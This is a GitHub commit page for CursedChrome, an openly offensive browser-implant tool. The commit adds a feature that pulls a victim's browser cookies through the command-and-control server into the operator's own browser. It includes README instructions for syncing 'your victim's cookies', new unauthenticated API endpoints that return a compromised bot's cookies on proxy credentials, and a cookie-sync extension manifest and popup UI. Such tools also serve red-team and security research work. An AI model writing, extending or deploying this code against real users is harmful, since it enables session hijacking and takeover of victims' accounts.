Skip to content

Commit fb227b3

Browse files
Merge pull request #22 from mandatoryprogrammer/cookie-sync
Added cookie-syncing functionality to fix all the annoying client-side JavaScript cookie usage bugs
2 parents ad2e822 + 611ec8d commit fb227b3

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

48 files changed

+34140
-5
lines changed

README.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -97,6 +97,18 @@ To install the example chrome extension implant, do the following:
9797

9898
After you've install the extension it will show up on the admin control panel at `http://localhost:8118`.
9999

100+
## *Required for some sites*: Sync Cookies from Remote Victim
101+
102+
Some sites* require client-side (e.g. JavaScript utilized) cookies, for these sites you'll need to have the `cookies` permission in your implant's `manifest.json` in addition to the other required permissions.
103+
104+
If you have this permission declared, you can then use the Firefox/Chrome extension found in the `cookie-sync-extension/` folder. Load it into your web browser, enter the web panel URL (usually `http://localhost:8118`) and your bot's username/password and click the `Sync Remote Implant Cookies` to load all of your victim's cookies locally.
105+
106+
*How magical!*
107+
108+
*Google Cloud Console is one of these sites - why Google? It's 2020!*
109+
110+
![](./images/sync-cookie-extension.png)
111+
100112
# Production/Operational Usage
101113

102114
## Modifying Implant Extension
@@ -113,6 +125,8 @@ The following [extension permissions](https://developer.chrome.com/extensions/ap
113125
]
114126
```
115127

128+
If you want to utilize the Cookie Sync extension to sync the remote browser's cookies with your own (required for some sites), ensure the permission `cookies` is also declared.
129+
116130
This code contains comments on how to modify it for a production setup. Basically doing the following:
117131

118132
* Minifying/stripping/uglifying the JavaScript code

api-server.js

Lines changed: 110 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ function getMethods(obj) {
3737
return result;
3838
};
3939

40-
async function get_api_server() {
40+
async function get_api_server(proxy_utils) {
4141
const app = express();
4242
app.use(bodyParser.json());
4343

@@ -91,7 +91,9 @@ async function get_api_server() {
9191
app.use(async function(req, res, next) {
9292
const ENDPOINTS_NOT_REQUIRING_AUTH = [
9393
'/health',
94-
`${API_BASE_PATH}/login`
94+
`${API_BASE_PATH}/login`,
95+
`${API_BASE_PATH}/verify-proxy-credentials`,
96+
`${API_BASE_PATH}/get-bot-browser-cookies`,
9597
];
9698
if (ENDPOINTS_NOT_REQUIRING_AUTH.includes(req.originalUrl)) {
9799
next();
@@ -212,6 +214,15 @@ async function get_api_server() {
212214
}
213215
});
214216

217+
if(!user) {
218+
res.status(200).json({
219+
"success": false,
220+
"error": "User not found with those credentials, please try again.",
221+
"code": "INVALID_CREDENTIALS"
222+
}).end();
223+
return
224+
}
225+
215226
// Compare password with hash from database
216227
const password_matches = await bcrypt.compare(
217228
req.body.password,
@@ -317,6 +328,103 @@ async function get_api_server() {
317328
);
318329
});
319330

331+
/*
332+
Return if a given set of HTTP proxy credentials is valid or not.
333+
*/
334+
const ValidateHTTPProxyCredsSchema = {
335+
type: 'object',
336+
properties: {
337+
username: {
338+
type: 'string',
339+
required: true
340+
},
341+
password: {
342+
type: 'string',
343+
required: true
344+
},
345+
}
346+
}
347+
app.post(API_BASE_PATH + '/verify-proxy-credentials', validate({ body: ValidateHTTPProxyCredsSchema }), async (req, res) => {
348+
const bot_data = await Bots.findOne({
349+
where: {
350+
proxy_username: req.body.username,
351+
proxy_password: req.body.password,
352+
},
353+
attributes: [
354+
'id',
355+
'is_online',
356+
'name',
357+
'proxy_password',
358+
'proxy_username',
359+
'user_agent',
360+
]
361+
});
362+
363+
if (!bot_data) {
364+
res.status(200).json({
365+
"success": false,
366+
"error": "User not found with those credentials, please try again.",
367+
"code": "INVALID_CREDENTIALS"
368+
}).end();
369+
return
370+
}
371+
372+
res.status(200).json({
373+
"success": true,
374+
"result": {
375+
id: bot_data.id,
376+
is_online: bot_data.is_online,
377+
name: bot_data.name,
378+
user_agent: bot_data.user_agent
379+
}
380+
}).end();
381+
});
382+
383+
/*
384+
Pull down the cookies from the victim
385+
*/
386+
const GetBotBrowserCookiesSchema = {
387+
type: 'object',
388+
properties: {
389+
username: {
390+
type: 'string',
391+
required: true
392+
},
393+
password: {
394+
type: 'string',
395+
required: true
396+
},
397+
}
398+
}
399+
app.post(API_BASE_PATH + '/get-bot-browser-cookies', validate({ body: GetBotBrowserCookiesSchema }), async (req, res) => {
400+
const bot_data = await Bots.findOne({
401+
where: {
402+
proxy_username: req.body.username,
403+
proxy_password: req.body.password,
404+
}
405+
});
406+
407+
if (!bot_data) {
408+
res.status(200).json({
409+
"success": false,
410+
"error": "User not found with those credentials, please try again.",
411+
"code": "INVALID_CREDENTIALS"
412+
}).end();
413+
return
414+
}
415+
416+
const browser_cookies = await proxy_utils.get_browser_cookie_array(
417+
bot_data.browser_id
418+
);
419+
420+
res.status(200).json({
421+
"success": true,
422+
"result": {
423+
"cookies": browser_cookies
424+
}
425+
}).end();
426+
});
427+
320428
/*
321429
* Handle JSON Schema errors
322430
*/
8.67 KB
Loading
829 Bytes
Loading
3.14 KB
Loading

cookie-sync-extension/manifest.json

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
{
2+
"name": "CursedChrome Cookie Sync Extension",
3+
"version": "0.0.1",
4+
"manifest_version": 2,
5+
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
6+
"description": "Keeps your local browser cookies in sync with the remote victim.",
7+
"homepage_url": "https://github.com/mandatoryprogrammer/CursedChrome",
8+
"icons": {
9+
"16": "icons/icon16.png",
10+
"48": "icons/icon48.png",
11+
"128": "icons/icon128.png"
12+
},
13+
"browser_action": {
14+
"default_icon": "icons/icon48.png",
15+
"default_title": "Cookie Sync settings and credential entry.",
16+
"default_popup": "src/browser_action/browser_action.html"
17+
},
18+
"permissions": [
19+
"cookies",
20+
"<all_urls>"
21+
]
22+
}

cookie-sync-extension/src/browser_action/bootstrap.bundle.min.js

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

cookie-sync-extension/src/browser_action/bootstrap.min.css

Lines changed: 7 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
<!doctype html>
2+
<html>
3+
4+
<head>
5+
<link href="./css/all.css" rel="stylesheet">
6+
<link rel="stylesheet" href="./bootstrap.min.css">
7+
<link rel="stylesheet" href="./toastr.css">
8+
<style>
9+
.toast {
10+
opacity: 1 !important;
11+
}
12+
</style>
13+
</head>
14+
15+
<body>
16+
<div id="app">
17+
<div class="card">
18+
<div class="card-header">
19+
<span class="badge badge-secondary" v-if="loading">
20+
<span class="spinner-border spinner-border-sm mr-1" role="status" aria-hidden="true"></span>Loading...
21+
</span>
22+
CursedChrome Cookie Sync Extension
23+
</div>
24+
<div class="card-body" style="min-width: 500px; padding: 20px">
25+
<div>
26+
<h5 class="card-title">Extension Configuration</h5>
27+
<div class="alert alert-danger" role="alert" v-if="config_message">
28+
{{config_message}}
29+
</div>
30+
<p class="card-text">
31+
<div class="input-group mb-3">
32+
<div class="input-group-prepend">
33+
<span class="input-group-text">Web Panel URL</span>
34+
</div>
35+
<input type="text" class="form-control" placeholder="http://localhost:8118" v-model="config.url" @keypress="check_login_credentials" @paste="check_login_credentials" v-on:change="check_login_credentials">
36+
</div>
37+
<div class="input-group mb-3">
38+
<div class="input-group-prepend">
39+
<span class="input-group-text">Bot Username</span>
40+
</div>
41+
<input type="text" class="form-control" placeholder="botuserxxxxxxxx" v-model="config.username" @keypress="check_login_credentials" @paste="check_login_credentials" v-on:change="check_login_credentials">
42+
</div>
43+
<div class="input-group mb-3">
44+
<div class="input-group-prepend">
45+
<span class="input-group-text">Bot Password</span>
46+
</div>
47+
<input type="password" class="form-control" placeholder="*********" v-model="config.password" @keypress="check_login_credentials" @paste="check_login_credentials" v-on:change="check_login_credentials">
48+
</div>
49+
</p>
50+
<hr />
51+
<span rel="tooltip" class="d-inline-block" style="width: 100%" tabindex="0" data-toggle="tooltip" title="Valid configuration required." v-if="config.sync_button_disabled">
52+
<button type="button" style="pointer-events: none;" class="btn btn-block btn-primary" disabled>
53+
<i class="fas fa-sync"></i> Sync Remote Implant Cookies
54+
</button>
55+
</span>
56+
<button type="button" class="btn btn-block btn-primary" v-if="!config.sync_button_disabled" v-on:click="sync_cookies_to_browser">
57+
<i class="fas fa-sync"></i> Sync Remote Implant Cookies
58+
</button>
59+
</div>
60+
</div>
61+
</div>
62+
</div>
63+
<script src="./jquery-3.5.1.min.js"></script>
64+
<script src="./popper.min.js"></script>
65+
<script src="./toastr.min.js"></script>
66+
<script src="./bootstrap.bundle.min.js"></script>
67+
<script src="./vue.js"></script>
68+
<script src="./main.js"></script>
69+
</body>
70+
71+
</html>

0 commit comments

Comments
 (0)